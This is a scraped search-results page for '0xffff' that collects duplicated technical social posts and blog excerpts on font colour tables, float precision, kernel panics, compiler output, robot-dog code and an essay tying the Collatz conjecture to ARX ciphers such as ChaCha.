Search
83 results for “0xffff”
-
@florian @khaled So the only way to do *anything* with the current text color is to hardcode it to 0xffff for that glyph in the COLR table, and have the additional colors in the CPAL table. Then from CSS you have to set both colors in a convoluted way: one with `color: #f00` on the element or a parent, and the other through a n`@font-palette-values` and a `font-palette` on the element.
At least, that's how far I got with my tests 😄
-
@florian @khaled So the only way to do *anything* with the current text color is to hardcode it to 0xffff for that glyph in the COLR table, and have the additional colors in the CPAL table. Then from CSS you have to set both colors in a convoluted way: one with `color: #f00` on the element or a parent, and the other through a n`@font-palette-values` and a `font-palette` on the element.
At least, that's how far I got with my tests 😄
-
✨ Rust challenge explained
Ans: C. It never reaches the prints statement. It goes in an infinite loop 😲
But, how? Let's break down
👉 End value is 0xfffffff which is 268435455.0. it is not very important here. So let's remove it and simplify the code with a constant 20,000,000.0 end value
👉 `f` value stops increasing(round upped) after value 16777216.0 when you add just 1.0 🤯
👉 To know why,you have to understand how the f32 is stored. Float is not stored as simple as integer
👉 f32 uses IEEE 754 format to store the value
👉 Larger f32 number loses accuracy
In a 32 bit float (any language not just rust):
👉 1st bit is used for sign identification (positive or negative)
👉 Following 8 bits used for exponent
👉 Next 23 bits used for storing mantissa 🙃You can see more here, how it is calculated
https://youtu.be/8afbTaA-gOQ(Continued 👇)
-
✨ Rust challenge explained
Ans: C. It never reaches the prints statement. It goes in an infinite loop 😲
But, how? Let's break down
👉 End value is 0xfffffff which is 268435455.0. it is not very important here. So let's remove it and simplify the code with a constant 20,000,000.0 end value
👉 `f` value stops increasing(round upped) after value 16777216.0 when you add just 1.0 🤯
👉 To know why,you have to understand how the f32 is stored. Float is not stored as simple as integer
👉 f32 uses IEEE 754 format to store the value
👉 Larger f32 number loses accuracy
In a 32 bit float (any language not just rust):
👉 1st bit is used for sign identification (positive or negative)
👉 Following 8 bits used for exponent
👉 Next 23 bits used for storing mantissa 🙃You can see more here, how it is calculated
https://youtu.be/8afbTaA-gOQ(Continued 👇)
-
EDIT: Sleep isn't needed to trigger this it seems.
I believe I've found a potential kernel bug in the IPv6 stack of XNU 12377.61.12~1 (26.2) which panics the host. Observed twice intermittently.
Only occurred when a bridged en0 networked UTM VM of Snow Leopard is doing network stuff.
"panic(cpu 1 caller 0xfffffe003f969f48): in6_finalize_cksum: mbuf 0xfffffe32255a7000 pkt len (1494) proto 6 invalid ULP cksum offset (65520) cksum flags 0x1460
@ip6_output.c:2158" -
EDIT: Sleep isn't needed to trigger this it seems.
I believe I've found a potential kernel bug in the IPv6 stack of XNU 12377.61.12~1 (26.2) which panics the host. Observed twice intermittently.
Only occurred when a bridged en0 networked UTM VM of Snow Leopard is doing network stuff.
"panic(cpu 1 caller 0xfffffe003f969f48): in6_finalize_cksum: mbuf 0xfffffe32255a7000 pkt len (1494) proto 6 invalid ULP cksum offset (65520) cksum flags 0x1460
@ip6_output.c:2158" -
I think I have found a bug in #ImageMagick [OK, I haven't, see update]
I can change the background for a png with alpha, using magick file -background white file
This seems to work well, unless you are using a 16 bit greyscale png. It sets background to 0x0000 for black and 0x00FF for white, not 0xFFFF.
Anyone know any other command line tools that allow edit of the bKGD chunk?
(I may have to write one)
[UPDATE - pngcheck is saying 16 bit when it is 8 FFS so bug in pngcheck]
-
This #Si5351 rabbit hole keeps getting deeper. After improving #HackRF mean sample rate error by three orders of magnitude a few weeks ago, we've now improved it by five more orders of magnitude.
Diego noticed that my greatest common divisor function could be replaced by a fast counting of zero bits. The reason this was possible was that it turned out that my implementation only selected denominators that were either a power of two or the maximum denominator (0xfffff).
-
This #Si5351 rabbit hole keeps getting deeper. After improving #HackRF mean sample rate error by three orders of magnitude a few weeks ago, we've now improved it by five more orders of magnitude.
Diego noticed that my greatest common divisor function could be replaced by a fast counting of zero bits. The reason this was possible was that it turned out that my implementation only selected denominators that were either a power of two or the maximum denominator (0xfffff).
-
This #Si5351 rabbit hole keeps getting deeper. After improving #HackRF mean sample rate error by three orders of magnitude a few weeks ago, we've now improved it by five more orders of magnitude.
Diego noticed that my greatest common divisor function could be replaced by a fast counting of zero bits. The reason this was possible was that it turned out that my implementation only selected denominators that were either a power of two or the maximum denominator (0xfffff).
-
This #Si5351 rabbit hole keeps getting deeper. After improving #HackRF mean sample rate error by three orders of magnitude a few weeks ago, we've now improved it by five more orders of magnitude.
Diego noticed that my greatest common divisor function could be replaced by a fast counting of zero bits. The reason this was possible was that it turned out that my implementation only selected denominators that were either a power of two or the maximum denominator (0xfffff).
-
This #Si5351 rabbit hole keeps getting deeper. After improving #HackRF mean sample rate error by three orders of magnitude a few weeks ago, we've now improved it by five more orders of magnitude.
Diego noticed that my greatest common divisor function could be replaced by a fast counting of zero bits. The reason this was possible was that it turned out that my implementation only selected denominators that were either a power of two or the maximum denominator (0xfffff).
-
Да... Это BSoD... Это не фотошоп, клянусь.
Да, это из-за #OOM.
Никита такое видит в первый раз в жизни. Никита всё ещё могётКомпьютер был перезагружен после критической ошибки. Код ошибки: 0x00000051 (0x0000000000000011, 0xffffa908331610a0, 0x0000000000000000, 0x0000000000000000).
Дамп памяти сохранен в: C:\Windows\MEMORY.DMP. Код отчета: 4711e0a5-ec2b-4c3c-b11c-434dbcc41597. -
Jumping in deep immediately
OS Linux
Kernel 6.x
found workaround for hardware errors on critical timer tscsnippet from dmesg
[ 0.000000] tsc: Fast TSC calibration using PIT
[ 0.000000] tsc: Detected 1796.607 MHz processorsnippet two
[ 0.068905] AMD-Vi: Using global IVHD EFR:0x206d73ef22254ade, EFR2:0x0
[ 0.069804] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1
[ 0.074120] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x19e5a467a58, max_idle_ns: 440795257552 ns
[ 0.074127] Calibrating delay loop (skipped), value calculated using timer frequency.. 3593.21 BogoMIPS (lpj=1796607)
[ 0.074141] Zenbleed: please update your microcode for the most optimal fixline [ 0.074141] clearly states that my microcode is not updated (not related to tsc)
[ 0.210124] TSC synchronization [CPU#0 -> CPU#8]:
[ 0.210124] Measured 2808 cycles TSC warp between CPUs, turning off TSC clock.
[ 0.210126] tsc: Marking TSC unstable due to check_tsc_sync_source failed
[ 0.210176] #1 #3 #5 #7 #9 #11 #13 #15I added tsc=unstable to the boot options in grub, so from what I read here the parameter was passed to the kernel? Can someone please verify for me if this output states that?
The warning I get is that the BIOS of this machine is broken! and that the option tsc=unstable will work around that massive bug
#bash #csh #ksh #sh #kernel #parameters #grub #POST #bios #UEFI #Linux #dmesg #Boot #options #programming #POSIX
-
Clang/LLVM friends, trying to understand *why* Clang (18) doesn't see through what seems to me like an obvious optimization.
#compiler_explorer link here, explanation of what I don't understand follows:
https://godbolt.org/z/j8WqsMjb6Going through Hackers delight and doing some of the dirt simple exercises, I dumped the assembly for Chapter 1 exercise 2 "loop that goes from 1 to 0xFFFFFFFF". (changed to not fault in CE)
(continues in next post, but putting hashtags here)
-
Clang/LLVM friends, trying to understand *why* Clang (18) doesn't see through what seems to me like an obvious optimization.
#compiler_explorer link here, explanation of what I don't understand follows:
https://godbolt.org/z/j8WqsMjb6Going through Hackers delight and doing some of the dirt simple exercises, I dumped the assembly for Chapter 1 exercise 2 "loop that goes from 1 to 0xFFFFFFFF". (changed to not fault in CE)
(continues in next post, but putting hashtags here)
-
Look, Microsoft.
You made the OS.
You made the MDM solution.
You made the application.
I am explicitly following your default practices to deploy the Office shitware using your MDM thingy.
You even made the bloody hardware it's supposed to be running on.WHY IN ALL THAT IS HOLY, UNHOLY AND SCIENCITIFCALLY POSSIBLE does Intune report back with "Error Unknown (0xFFFFFFFF)"?!
#Intune #Microsoft365 #Cloud #NotLookingForHelp #JustVenting
-
Look, Microsoft.
You made the OS.
You made the MDM solution.
You made the application.
I am explicitly following your default practices to deploy the Office shitware using your MDM thingy.
You even made the bloody hardware it's supposed to be running on.WHY IN ALL THAT IS HOLY, UNHOLY AND SCIENCITIFCALLY POSSIBLE does Intune report back with "Error Unknown (0xFFFFFFFF)"?!
#Intune #Microsoft365 #Cloud #NotLookingForHelp #JustVenting
-
In the spirit of "this talk could've been a tweet", I just pushed a button:
#BinDiff is now open source.
- This is a snapshot release, no major new functionality
- Release binaries will follow later today or tomorrow
- This is my 20% and I won't we able to act on PRs until end of Q4 (OOO traveling)Thanks everyone for making this possible!
Shout out to @HalvarFlake, ObfuscaTHOR, Nils, Tora,
@shanehuntley, @erocarrera, 0xfffffffeHappy diffing!
-
In the spirit of "this talk could've been a tweet", I just pushed a button:
#BinDiff is now open source.
- This is a snapshot release, no major new functionality
- Release binaries will follow later today or tomorrow
- This is my 20% and I won't we able to act on PRs until end of Q4 (OOO traveling)Thanks everyone for making this possible!
Shout out to @HalvarFlake, ObfuscaTHOR, Nils, Tora,
@shanehuntley, @erocarrera, 0xfffffffeHappy diffing!
-
Success!!!
I'm not sure the clone #z80 in the #wp2 groks "ld bc,(address)" which is a properly z80 thing to say.
Changed it to "ld hl, (address)
ld b,h
ld c,l" and it worked.I have now confirmed that the stack is *below* the program area of 0xAC00-0xFFFF.
The techref says the stack area is from 0xA800 to 0xABFF which shows once again 5 minutes of RTFM can save hours of WTF. :-)
OTOH trusting Tandy docs? Not a good plan. <shrug> -
Success!!!
I'm not sure the clone #z80 in the #wp2 groks "ld bc,(address)" which is a properly z80 thing to say.
Changed it to "ld hl, (address)
ld b,h
ld c,l" and it worked.I have now confirmed that the stack is *below* the program area of 0xAC00-0xFFFF.
The techref says the stack area is from 0xA800 to 0xABFF which shows once again 5 minutes of RTFM can save hours of WTF. :-)
OTOH trusting Tandy docs? Not a good plan. <shrug> -
Robot Dog in Browser
You’ve doubtlessly seen the current crop of robot dogs and, if you are like us, thought about getting one to play with. The problem is that the cheap ones are toys, and the serious ones cost serious money. But now you can experiment with a mid-range cost one for free in your browser. The sponsor will be happy to sell you a robot in kit or assembled form, although it is the OpenCat robot (we’ve covered it before), so you could simply build a real one yourself if you wanted to.
The code is all in a Web-based IDE, and the main file is deceptively simple. However, the real work is in
read_serial(in the src/moduleManager.h file, for some reason) andreactionin the aptly-named src/reaction.h file. If you just want to play, you can use the buttons in the simulator or enter serial commands (documented elsewhere). For example,ksitwill make the dog sit down.You can change as much code as you like. You might consider starting simple and just sending commands programmatically, but you can dive as deep as you like. Press compile up at the top right, and it will load and run your code in the virtual robot. If you run it off the desk (of course, we did), you can reset and try again.
Here’s a quick example to get you started:
//***********************
#define BITTLE // Petoi 9 DOF robot dog: 1 on head + 8 on leg#define BiBoard_V1_0
//***********************#include "src/OpenCat.h"
void setup() {
Serial.begin(115200); // USB serial
Serial.setTimeout(SERIAL_TIMEOUT);while (Serial.available() && Serial.read())
; // empty bufferSerial.println("Hello Hackaday!");
initRobot();
}unsigned int loopct=0;
unsigned int phase=0;#define cmdtokenEOF 0xFFFF
// commands (token + argument)
char *cmd[] =
{
"sit", // good boy
"up", // stand up
"bf", // back flip
"ff", // forward flip
"EOF" // string doesn't matter here
};unsigned int cmdtoken[] = {
T_SKILL,
T_SKILL,
T_SKILL,
T_SKILL,
cmdtokenEOF
};#define LOOPDELAY 1000 // number of loops between actions
void loop() {
// This code runs repeatedly
// Put any change here if you want to change behaviors
if (loopct % 1000 == 0 )
{
loopct=0;
if (cmdtoken[phase]==cmdtokenEOF) phase=0;
strcpy(newCmd,cmd[phase]);
token=cmdtoken[phase++];
newCmdIdx=1;
}
loopct++;reaction();
}The robot is better than the cheap toys, but it still lacks many sensors. You can add on a few simple sensors that appear to mount in the dog’s mouth, or you can replace its head with an arm if you opt for beefy enough servos.
Of course, we’ve seen plenty of robot dogs. We want one, but we don’t know what we’d do with it. Any ideas?
-
Robot Dog in Browser
You’ve doubtlessly seen the current crop of robot dogs and, if you are like us, thought about getting one to play with. The problem is that the cheap ones are toys, and the serious ones cost serious money. But now you can experiment with a mid-range cost one for free in your browser. The sponsor will be happy to sell you a robot in kit or assembled form, although it is the OpenCat robot (we’ve covered it before), so you could simply build a real one yourself if you wanted to.
The code is all in a Web-based IDE, and the main file is deceptively simple. However, the real work is in
read_serial(in the src/moduleManager.h file, for some reason) andreactionin the aptly-named src/reaction.h file. If you just want to play, you can use the buttons in the simulator or enter serial commands (documented elsewhere). For example,ksitwill make the dog sit down.You can change as much code as you like. You might consider starting simple and just sending commands programmatically, but you can dive as deep as you like. Press compile up at the top right, and it will load and run your code in the virtual robot. If you run it off the desk (of course, we did), you can reset and try again.
Here’s a quick example to get you started:
//***********************
#define BITTLE // Petoi 9 DOF robot dog: 1 on head + 8 on leg#define BiBoard_V1_0
//***********************#include "src/OpenCat.h"
void setup() {
Serial.begin(115200); // USB serial
Serial.setTimeout(SERIAL_TIMEOUT);while (Serial.available() && Serial.read())
; // empty bufferSerial.println("Hello Hackaday!");
initRobot();
}unsigned int loopct=0;
unsigned int phase=0;#define cmdtokenEOF 0xFFFF
// commands (token + argument)
char *cmd[] =
{
"sit", // good boy
"up", // stand up
"bf", // back flip
"ff", // forward flip
"EOF" // string doesn't matter here
};unsigned int cmdtoken[] = {
T_SKILL,
T_SKILL,
T_SKILL,
T_SKILL,
cmdtokenEOF
};#define LOOPDELAY 1000 // number of loops between actions
void loop() {
// This code runs repeatedly
// Put any change here if you want to change behaviors
if (loopct % 1000 == 0 )
{
loopct=0;
if (cmdtoken[phase]==cmdtokenEOF) phase=0;
strcpy(newCmd,cmd[phase]);
token=cmdtoken[phase++];
newCmdIdx=1;
}
loopct++;reaction();
}The robot is better than the cheap toys, but it still lacks many sensors. You can add on a few simple sensors that appear to mount in the dog’s mouth, or you can replace its head with an arm if you opt for beefy enough servos.
Of course, we’ve seen plenty of robot dogs. We want one, but we don’t know what we’d do with it. Any ideas?
-
Collatzeral Damage: Bitwise and Proof Foolish
Let’s talk about the Collatz Conjecture, which is like mathematicians’ original version of this programmer joke:
Except the number of mathematician hours wasted is much larger, possibly too large for uint32_t to hold it.The Collatz conjecture is an infamous trap for the young and ambitious. Despite its simple construction, it has evaded proofs and general solutions for nearly a century. Veritasium made a video about this conjecture, which I recommend:
https://www.youtube.com/watch?v=094y1Z2wpJg
The Collatz conjecture involves a recursive function that contains one branch: If a number is odd, multiply it by 3 then add 1. If it is even, divide it by 2.
The conjecture states that repeating this operation will eventually reach 1 for all positive integers.
Quick observation:
- Even numbers take you closer to your goal of reaching your goal (reaching 0).
- Odd numbers take you further away from your goal.
You can write recursive code that implements the Collatz function like so:
function collatz(num) { console.log(num); if (num === 1) { return; } return (num % 2 === 1) ? collatz((3 * num) + 1) : collatz(num >> 1);}If the Collatz conjecture is false, there is some integer for which the
returnstatement will never be reached.We don’t know if the conjecture is true or not.
We do know that it has held up for a hell of a lot of positive integers (from a human perspective), and have yet to find a counterexample, but we don’t know if it’s necessarily true for all positive integers.
What if there’s actually a cycle somewhere (similar to what I discussed in the context of hash functions)?
That mathematicians don’t know the answer isn’t really interesting for the readers of this blog, but why the answer is so elusive (despite the intuitive simple construction of the function central to the Collatz conjecture) is something I think we can say something interesting about.
AJBut first, let’s talk about a class of cryptographic algorithm that serves as the building block for several types of hash functions and stream ciphers used across the Internet today.
Important
I am taking a lot of liberties in this blog post, and I am prioritizing clarity over technical precision.
Readers will be better served by cross-referencing this entertainment-focused blog post with the work of actual mathematicians.
And for the pedants in the audience: if something seems imprecise, it’s probably because I made a trade-off to help a wider audience gain a basic intuition.
Add, Rotate, XOR (ARX)
ARX is a category of cryptography algorithms that is used to build various cryptography building blocks. The SHA-2 family of hash functions and the ChaCha stream cipher both an ARX construction (and both are used in a lot of Internet traffic).
Let’s focus on ChaCha for the moment, focusing on the reference implementation that ships with libsodium:
#define U32C(v) (v##U)#define U32V(v) ((uint32_t)(v) &U32C(0xFFFFFFFF))#define ROTATE(v, c) (ROTL32(v, c))#define XOR(v, w) ((v) ^ (w))#define PLUS(v, w) (U32V((v) + (w)))#define PLUSONE(v) (PLUS((v), 1))#define QUARTERROUND(a, b, c, d) \ a = PLUS(a, b); \ d = ROTATE(XOR(d, a), 16); \ c = PLUS(c, d); \ b = ROTATE(XOR(b, c), 12); \ a = PLUS(a, b); \ d = ROTATE(XOR(d, a), 8); \ c = PLUS(c, d); \ b = ROTATE(XOR(b, c), 7);
At the core of ChaCha is the quarter round function. This is applied on alternating columns and diagonals of the input state until the desired number of rounds has been completed.
for (i = 20; i > 0; i -= 2) { QUARTERROUND(x0, x4, x8, x12) QUARTERROUND(x1, x5, x9, x13) QUARTERROUND(x2, x6, x10, x14) QUARTERROUND(x3, x7, x11, x15) QUARTERROUND(x0, x5, x10, x15) QUARTERROUND(x1, x6, x11, x12) QUARTERROUND(x2, x7, x8, x13) QUARTERROUND(x3, x4, x9, x14)}After all rounds are complete, the initial state is added to the output. This 512-bit state includes the key (which consists of up to 256 bits), nonce, and some constant values. Because half of the input bytes are your secret key, an attacker without knowledge of the key cannot invert the calculation.
ChaCha is an improvement of another stream cipher from the same family as the eSTREAM finalist, Salsa20. ChaCha improved the diffusion per round and performance. This makes ChaCha less susceptible to cryptanalysis, even in extremely reduced-round variants (e.g., ChaCha8 vs ChaCha20).
As interesting as all that is, the important bits to know is that the ChaCha update emphasized improving diffusion.
What does that mean, exactly?
Art: HarubakiWhat is Diffusion?
Diffusion is a measurement of how much the output state changes when each bit differs in the input state.
This is important for making it difficult to statistically analyze the relationship between the input and outputs of a cryptographic function.
ARX Diffusion
ARX consists of three operations: Rotation (sliding bits around like a flywheel), addition, and eXclusive OR (also known as XOR).
Comparing Salsa20 and ChaCha’s quarter round, using the notation from the source code on Wikipedia, you see:
Salsa20 Quarter Round
b ^= (a + d) <<< 7;c ^= (b + a) <<< 9;d ^= (c + b) <<< 13;a ^= (d + c) <<< 18;
Addition then rotation then XOR.
ChaCha Quarter Round
a += b; d ^= a; d <<<= 16;c += d; b ^= c; b <<<= 12;a += b; d ^= a; d <<<= 8;c += d; b ^= c; b <<<= 7;
Addition then XOR then rotation.
Each step of the quarter round function still involves addition, rotation, and XOR, but their usage is different. (Also, they just update values directly rather than involving an extra temporary value to implicitly occupy a stack register.)
And it’s subtle, but if you play with these different quarter rounds with slightly different inputs, you can see how the diffusion is improved with the second construction in fewer numbers of rounds.
“Why does diffusion matter?”
Bit diffusion in ARX constructions is one of the ways that ciphers ensure their output remains indistinguishable from a random oracle.
If you’ve ever looked at a cryptographic hash function before, or heard about the “avalanche effect“, that’s precisely what we want out of these ARX constructions.
“So what?”
As some of you might remember from your studies, XOR is just addition without carry (mod 2).
If you repeat your same experimentation but only use one operation (AR or RX), you’ll find that your diffusion is poor.
This is because addition is an abstraction that hides a very important feature that’s often taken for granted.
CMYKatCarry Propagation
Let’s say, for a learning exercise, you wanted to build integer addition entirely out of bitwise operators: AND, OR, NOT, XOR, and the left and right bit shift operators.
As already mentioned above, XOR is just addition without carry. So that part’s easy:
def add_bits_no_carry(x, y): return x ^ y
How about carrying values to the next place? Well, consider the following table:
XYCalculated Carry Value000100010111That third column sure looks like an “AND” operator, does it not?
Great, but what if you had a carry value from the previous step?
Well, now you have to implement two half-adders: One to handle the input carry value with one input, and the other to handle the other input and produce the next output carry value.
def half_adder(x, y): return [x ^ y, x & y]def add_bits(x, y, c_in): [a, b] = half_adder(x, y) [d, e] = half_adder(a, c_in) return [d, b ^ e]
If you feel lost, this hardware tutorial explains it with diagrams.
The main thing I want you to take away is that addition is much more complicated than XOR because of carry propagation.
Original sticker made by CMYKat
(Poor edits made my me)On Computation and Information Theory
We use XOR to mix data (which could be plaintext, or could be all zeroes) with pseudo-random bytes, since it’s perfectly hiding so long as the bytes we’re mixing them with is unknown. This is the intuition underlying one-time pads and modern stream ciphers (including the ones we’re discussing).
In the context of ARX, because some operations (addition) propagate carries and others don’t (XOR), when you combine these steps with rotating the bits in-place, it becomes very easy to mix the output bits in a short number of rounds of operations. Cryptographers measure how well bits are mixed across a large number of inputs and reject designs that don’t perform well (generally speaking).
But a direct consequence of the hidden complexity of addition with carry is that the state you’re operating within is larger than the output. This means that some information is used (carried over from previous bits or limbs) that is not revealed directly in the output bit(s).
It’s easy to add two numbers together, but if you don’t know either of the numbers, it’s impossible to know the other (unless, of course, a side-channel leaks enough information to deduce one of them).
“That’s neat and all, but what does it imply?”
Don’t worry, I’m going somewhere with this.
CMYKatTuring the Page
Let’s briefly talk about Turing machines.
The relevant Wikipedia article covers them adequately well. For everyone else, another Veritasium video:
https://www.youtube.com/watch?v=HeQX2HjkcNo
A Turing machine is a mathematical model for computation.
The basic idea is that you have a tape of symbols, a head that reads from the tape, and an internal state that determines the next move.
We don’t need too formal of a treatment here. I’m not exactly trying to prove the halting problem is undecidable.
A dumb joke I like to tell my computer science friends:
I’ve solved the Halting problem! It’s called: “the heat death of the universe,” at which point the program fucking halts!
But do put a pin in this, because it will come up towards the end.
CMYKatBitwise Collatz Functions
Above, I wrote a bit of code that implements the Collatz function, but I was a bit lazy about it.
In truth, you don’t need multiplication or the modulo operator. You can, instead, use bitwise operations and one addition.
- The modulo 2 check can be replaced by a bitwise AND mask with 1. Odd values will return 1, even will return 0.
- When the least significant bit is 0:
Dividing by 2 is the same as right-shifting by 1. - When the least significant bit is 1:
Multiplying by 3 then adding 1 can be rewritten as the following steps:- Left shift by 1 (2n)
- Set the lower bit to 1 (+1), using bitwise OR
- Add the original number (+n)
Thus, our function instead looks like:
function collatz(num) { console.log(num); if (num === 1) { return; } return (num & 1) ? collatz(((num << 1) | 1) + num) : collatz(num >> 1);}That is to say, you can implement most of the Collatz function with bitwise operators, and only need one addition (with carries) in the end.
Suddenly, the discussion above about carry propagation might seem a lot more relevant!
Art by AJSmall Example
Imagine you encode a number as a binary string. For example, 257.
When you work through the algorithm sketched out above, you end up doing this:
n == 0001_0000_0001 2*n == 0010_0000_0010 # left shift by 1 2*n + 1 == 0010_0000_0011 # bitwise OR with 1 add: 0001_0000_0001 # n 0010_0000_0011 # 2n + 1 # This is where carry propagation comes in! result: 0011_0000_0100
When you perform the 3n+1 branch of the Collatz function the way I constructed it, that last addition of n will propagate carries.
And that carry propagation is where the trouble starts.
Since the (3n+1) branch is only ever invoked with odd values for n, you can guarantee that the next step will be followed by at least one division by 2 (since 3n+1 is even for any odd n).
This allows you look ahead two steps at a time, but there is no easy way to predict how many back-to-back (3n+1)/2 two-steps you will encounter from a given value. Instead, you have to actually perform the calculation and see what happens.
AJCollatz Machines
The input and output of the Collatz function is an integer of arbitrary size. The behavior branches depending on the least significant bit of the input.
You can think of the least significant bit as the “head” of a machine similar to a Turing machine.
However, instead of moving the head along a tape, the Collatz function does one of two things:
- Moves the symbols on the tape one space to the right (somewhat familiar territory for Turing Machines).
- Rewrites all of the symbols on the tape to the left of the head, according to some algorithm. This algorithm makes the tape longer.
As we observed previously, the carry propagation implicit to addition makes the bits diffuse in a way that’s hard to generalize faster than simply performing the addition and seeing what results from it.
Proving that this Collatz machine halts for all positive inputs would also prove the Collatz Conjecture. But as we saw with proper Turing Machines, this might not be possible.
Pedants on the /r/math subreddit were quick to point out that this isn’t necessarily true, but the goal of this blog post was not to state a technically precise truth, but to explore the Collatz conjecture from a different angle.
The important disclaimer at the top isn’t some cop-out boilerplate I slap on everything I write to absolve me of any retribution for my mistakes. It’s actually important for everyone to read and understand it.
The entire point of this blog is “hey, here’s a neat idea to think about” not “here’s a universal truth about mathematics I discovered”. For that, I would have written an actual paper, not a furry blog. Unfortunately, I have no new insights to offer on anything, nor will I probably ever.
I recommend reading the comment I linked at the start of this quoted section, as it’s grounded in a more formal mathematics understanding than this blog post.
Is It Unsolvable?
With all this in mind, in the general case, the Collatz Conjecture may very well one day prove to be as undecidable as the Halting Problem.
Or, maybe someone will find a cycle within the integer space that fails to ever reach 1.
Art: CMYKatAs it stands right now, there have been a lot of interesting approaches to try to solve it. The first Veritasium video linked above talked about some of these ideas.
Maybe we need new mathematic tools first. Or perhaps the Langlands project will uncover a relationship between unrelated areas of mathematical research that already exist today that will yield an answer to this nearly century-old conjecture.
Either way, I hope you find this topic… mildly interesting. Enough to appreciate the problem, not so much that you think you can solve it yourself.
Art: AJStay safe, don’t drink and derive, and happy hacking.
#CollatzConjecture #define #HaltingProblem #mathematics #TuringMachines
-
Collatzeral Damage: Bitwise and Proof Foolish
Let’s talk about the Collatz Conjecture, which is like mathematicians’ original version of this programmer joke:
Except the number of mathematician hours wasted is much larger, possibly too large for uint32_t to hold it.The Collatz conjecture is an infamous trap for the young and ambitious. Despite its simple construction, it has evaded proofs and general solutions for nearly a century. Veritasium made a video about this conjecture, which I recommend:
https://www.youtube.com/watch?v=094y1Z2wpJg
The Collatz conjecture involves a recursive function that contains one branch: If a number is odd, multiply it by 3 then add 1. If it is even, divide it by 2.
The conjecture states that repeating this operation will eventually reach 1 for all positive integers.
Quick observation:
- Even numbers take you closer to your goal of reaching your goal (reaching 0).
- Odd numbers take you further away from your goal.
You can write recursive code that implements the Collatz function like so:
function collatz(num) { console.log(num); if (num === 1) { return; } return (num % 2 === 1) ? collatz((3 * num) + 1) : collatz(num >> 1);}If the Collatz conjecture is false, there is some integer for which the
returnstatement will never be reached.We don’t know if the conjecture is true or not.
We do know that it has held up for a hell of a lot of positive integers (from a human perspective), and have yet to find a counterexample, but we don’t know if it’s necessarily true for all positive integers.
What if there’s actually a cycle somewhere (similar to what I discussed in the context of hash functions)?
That mathematicians don’t know the answer isn’t really interesting for the readers of this blog, but why the answer is so elusive (despite the intuitive simple construction of the function central to the Collatz conjecture) is something I think we can say something interesting about.
AJBut first, let’s talk about a class of cryptographic algorithm that serves as the building block for several types of hash functions and stream ciphers used across the Internet today.
Important
I am taking a lot of liberties in this blog post, and I am prioritizing clarity over technical precision.
Readers will be better served by cross-referencing this entertainment-focused blog post with the work of actual mathematicians.
And for the pedants in the audience: if something seems imprecise, it’s probably because I made a trade-off to help a wider audience gain a basic intuition.
Add, Rotate, XOR (ARX)
ARX is a category of cryptography algorithms that is used to build various cryptography building blocks. The SHA-2 family of hash functions and the ChaCha stream cipher both an ARX construction (and both are used in a lot of Internet traffic).
Let’s focus on ChaCha for the moment, focusing on the reference implementation that ships with libsodium:
#define U32C(v) (v##U)#define U32V(v) ((uint32_t)(v) &U32C(0xFFFFFFFF))#define ROTATE(v, c) (ROTL32(v, c))#define XOR(v, w) ((v) ^ (w))#define PLUS(v, w) (U32V((v) + (w)))#define PLUSONE(v) (PLUS((v), 1))#define QUARTERROUND(a, b, c, d) \ a = PLUS(a, b); \ d = ROTATE(XOR(d, a), 16); \ c = PLUS(c, d); \ b = ROTATE(XOR(b, c), 12); \ a = PLUS(a, b); \ d = ROTATE(XOR(d, a), 8); \ c = PLUS(c, d); \ b = ROTATE(XOR(b, c), 7);
At the core of ChaCha is the quarter round function. This is applied on alternating columns and diagonals of the input state until the desired number of rounds has been completed.
for (i = 20; i > 0; i -= 2) { QUARTERROUND(x0, x4, x8, x12) QUARTERROUND(x1, x5, x9, x13) QUARTERROUND(x2, x6, x10, x14) QUARTERROUND(x3, x7, x11, x15) QUARTERROUND(x0, x5, x10, x15) QUARTERROUND(x1, x6, x11, x12) QUARTERROUND(x2, x7, x8, x13) QUARTERROUND(x3, x4, x9, x14)}After all rounds are complete, the initial state is added to the output. This 512-bit state includes the key (which consists of up to 256 bits), nonce, and some constant values. Because half of the input bytes are your secret key, an attacker without knowledge of the key cannot invert the calculation.
ChaCha is an improvement of another stream cipher from the same family as the eSTREAM finalist, Salsa20. ChaCha improved the diffusion per round and performance. This makes ChaCha less susceptible to cryptanalysis, even in extremely reduced-round variants (e.g., ChaCha8 vs ChaCha20).
As interesting as all that is, the important bits to know is that the ChaCha update emphasized improving diffusion.
What does that mean, exactly?
Art: HarubakiWhat is Diffusion?
Diffusion is a measurement of how much the output state changes when each bit differs in the input state.
This is important for making it difficult to statistically analyze the relationship between the input and outputs of a cryptographic function.
ARX Diffusion
ARX consists of three operations: Rotation (sliding bits around like a flywheel), addition, and eXclusive OR (also known as XOR).
Comparing Salsa20 and ChaCha’s quarter round, using the notation from the source code on Wikipedia, you see:
Salsa20 Quarter Round
b ^= (a + d) <<< 7;c ^= (b + a) <<< 9;d ^= (c + b) <<< 13;a ^= (d + c) <<< 18;
Addition then rotation then XOR.
ChaCha Quarter Round
a += b; d ^= a; d <<<= 16;c += d; b ^= c; b <<<= 12;a += b; d ^= a; d <<<= 8;c += d; b ^= c; b <<<= 7;
Addition then XOR then rotation.
Each step of the quarter round function still involves addition, rotation, and XOR, but their usage is different. (Also, they just update values directly rather than involving an extra temporary value to implicitly occupy a stack register.)
And it’s subtle, but if you play with these different quarter rounds with slightly different inputs, you can see how the diffusion is improved with the second construction in fewer numbers of rounds.
“Why does diffusion matter?”
Bit diffusion in ARX constructions is one of the ways that ciphers ensure their output remains indistinguishable from a random oracle.
If you’ve ever looked at a cryptographic hash function before, or heard about the “avalanche effect“, that’s precisely what we want out of these ARX constructions.
“So what?”
As some of you might remember from your studies, XOR is just addition without carry (mod 2).
If you repeat your same experimentation but only use one operation (AR or RX), you’ll find that your diffusion is poor.
This is because addition is an abstraction that hides a very important feature that’s often taken for granted.
CMYKatCarry Propagation
Let’s say, for a learning exercise, you wanted to build integer addition entirely out of bitwise operators: AND, OR, NOT, XOR, and the left and right bit shift operators.
As already mentioned above, XOR is just addition without carry. So that part’s easy:
def add_bits_no_carry(x, y): return x ^ y
How about carrying values to the next place? Well, consider the following table:
XYCalculated Carry Value000100010111That third column sure looks like an “AND” operator, does it not?
Great, but what if you had a carry value from the previous step?
Well, now you have to implement two half-adders: One to handle the input carry value with one input, and the other to handle the other input and produce the next output carry value.
def half_adder(x, y): return [x ^ y, x & y]def add_bits(x, y, c_in): [a, b] = half_adder(x, y) [d, e] = half_adder(a, c_in) return [d, b ^ e]
If you feel lost, this hardware tutorial explains it with diagrams.
